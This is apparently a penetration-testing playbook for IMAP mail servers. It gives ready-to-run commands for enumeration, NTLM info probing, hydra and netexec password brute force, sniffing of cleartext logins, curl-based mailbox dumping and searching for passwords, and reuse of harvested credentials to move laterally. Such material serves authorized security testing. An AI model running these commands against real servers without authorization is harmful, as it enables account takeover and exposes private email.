pentesting-imap

name	pentesting-imap
description	Testing IMAP services (default ports 143 cleartext, 993 IMAPS) for weak/default credentials and brute force, NTLM info disclosure, cleartext credential exposure, capability enumeration, and authenticated mailbox access/data extraction via raw IMAP commands and curl during authorized engagements.
domain	cybersecurity
subdomain	network-services-pentesting
tags	["penetration-testing","network-services","imap"]
version	1.0
author	xalgorix
license	Apache-2.0

Pentesting IMAP (ports 143, 993)

When to Use

• Default ports: 143/tcp (cleartext IMAP) and 993/tcp (IMAP over TLS / IMAPS).
• When nmap/banner shows imap, an * OK ... IMAP4 greeting, or Dovecot/Courier/Exchange IMAP.
• For credential testing and post-auth mailbox data extraction (emails often hold reusable secrets).

Quick Enumeration

# Cleartext banner
nc -nv <IP> 143

# IMAPS banner
openssl s_client -connect <IP>:993 -quiet

# Capabilities + NTLM info
nmap --script "imap-capabilities or imap-ntlm-info" -sV -p 143,993 <IP>

# Shodan-style discovery markers
#   port:143 CAPABILITY   |   port:993 CAPABILITY

Critical: Checks Most Often Missed

• Cleartext credentials on 143 — LOGIN user pass over port 143 (no STARTTLS) is sniffable.
  • How to CONFIRM: capture with tcpdump -i eth0 -A 'tcp port 143' and observe the A1 LOGIN line; check CAPABILITY for LOGINDISABLED/STARTTLS absence.
• NTLM info disclosure — AUTHENTICATE NTLM leaks Windows/domain build info on Exchange.
  • How to CONFIRM:

    nmap -p143 --script imap-ntlm-info <IP>
    # or manual:
    telnet <IP> 143
    a1 AUTHENTICATE NTLM
    TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=   # Type-1; server returns Type-2 with metadata
    

• Weak/default credentials — reused or guessable mailbox passwords; brute-forceable.
  • How to CONFIRM: hydra -l <user> -P passwords.txt imap://<IP> returns a valid login.
• Authenticated mailbox data exposure — once logged in, mailboxes frequently contain passwords, internal hostnames, and VPN/onboarding secrets that scanners never read.
  • How to CONFIRM: search bodies for password (see curl TEXT password below).

Workflow

Step 1: Enumerate (capabilities, version, NTLM)

nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet
nmap --script "imap-capabilities or imap-ntlm-info" -sV -p 143,993 <IP>
msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS <IP>; set RPORT 143; run; exit'

Step 2: Authenticate (default creds, brute force)

# Brute force (use IMAPS port for cleartext-disabled servers)
hydra -L users.txt -P passwords.txt -f imap://<IP>
hydra -l <user> -P passwords.txt -f imaps://<IP>
nxc imap <IP> -u users.txt -p passwords.txt

# Manual login (tagged commands; quote values containing spaces)
openssl s_client -connect <IP>:993 -quiet
A1 LOGIN "username" "password"

Step 3: Exploit / Extract (browse + dump mailboxes)

# Raw IMAP command flow after login
A1 LIST "" *                       # list all mailboxes/folders
A1 SELECT INBOX                    # open mailbox
A1 STATUS INBOX (MESSAGES UNSEEN RECENT)
A1 FETCH 1:* (FLAGS)               # list messages
A1 FETCH 2 body[text]              # retrieve message body
A1 UID FETCH 102 (UID RFC822.SIZE BODY.PEEK[])
A1 LOGOUT

# curl-driven extraction (IMAPS)
curl -k 'imaps://<IP>/' --user user:pass                       # list mailboxes
curl -k 'imaps://<IP>/INBOX?ALL' --user user:pass              # message indices
curl -k 'imaps://<IP>/Drafts?TEXT password' --user user:pass   # search bodies for "password"
curl -k 'imaps://<IP>/Drafts;MAILINDEX=1' --user user:pass     # download a message

# Pull subject+sender of the first 5 messages
for m in {1..5}; do
  curl -k "imaps://<IP>/INBOX;MAILINDEX=$m;SECTION=HEADER.FIELDS%20(SUBJECT%20FROM)" --user user:pass
done

Step 4: Post-access / pivot

• Grep extracted mail for credentials, password-reset links, internal hostnames, and VPN/onboarding details.
• Reuse harvested credentials against SMTP/OWA/SSH/VPN; map internal topology from message headers.
• A GUI client like evolution (apt install evolution) speeds up manual triage of large mailboxes.

Key Concepts

Concept	Description
IMAP vs POP3	IMAP keeps mail server-side and supports multi-device access and folder structure.
Tagged commands	Each command is prefixed with a tag (A1) the server echoes in its response.
CAPABILITY	Advertises features such as STARTTLS, LOGINDISABLED, AUTH= mechanisms.
Cleartext exposure	LOGIN on 143 without STARTTLS sends credentials in plaintext.
NTLM disclosure	AUTHENTICATE NTLM on Exchange leaks NetBIOS/DNS/OS build.
Mailbox data mining	Authenticated FETCH/SEARCH (or curl) extracts message bodies containing secrets.

Tools & Systems

Tool	Purpose
nmap NSE	imap-capabilities, imap-ntlm-info.
nc / openssl s_client	Banner grab, manual cleartext/TLS IMAP sessions.
curl	Scriptable mailbox listing, searching, and message download over IMAP(S).
hydra / netexec (nxc)	Credential brute force / spraying.
Metasploit	scanner/imap/imap_version.
evolution	GUI client for browsing compromised mailboxes.
tcpdump / Wireshark	Capture cleartext credentials on port 143.

Common Scenarios

Scenario 1: Cleartext IMAP credential capture

Port 143 lacks STARTTLS. A MitM + tcpdump 'tcp port 143' captures A1 LOGIN user pass in plaintext, which is then reused on the corporate VPN.

Scenario 2: Brute force → mailbox secrets

hydra imaps://<IP> finds jdean:PA$$W0RD. curl 'imaps://<IP>/INBOX?TEXT password' surfaces an email containing RDP credentials, enabling lateral movement.

Scenario 3: Exchange NTLM disclosure

nmap -p143 --script imap-ntlm-info returns the NetBIOS name, domain, and OS build, aiding AD reconnaissance and target selection.

Output Format

## IMAP Finding

**Service**: IMAP
**Port**: 143/tcp (Dovecot, STARTTLS not enforced)
**Severity**: High
**Finding**: Cleartext authentication + weak credentials with sensitive mailbox content
**Evidence**:
  - CAPABILITY lacked LOGINDISABLED; tcpdump captured "A1 LOGIN jdean PA$$W0RD"
  - curl 'imaps://<IP>/INBOX?TEXT password' returned message with RDP creds
**Impact**: Credentials are exposed on the wire and mailbox content discloses additional secrets enabling lateral movement.
**Recommendation**:
  1. Enforce TLS (require STARTTLS or IMAPS only; set LOGINDISABLED on 143).
  2. Enforce strong, unique mailbox passwords and rate-limit auth.
  3. Educate users not to store credentials in email.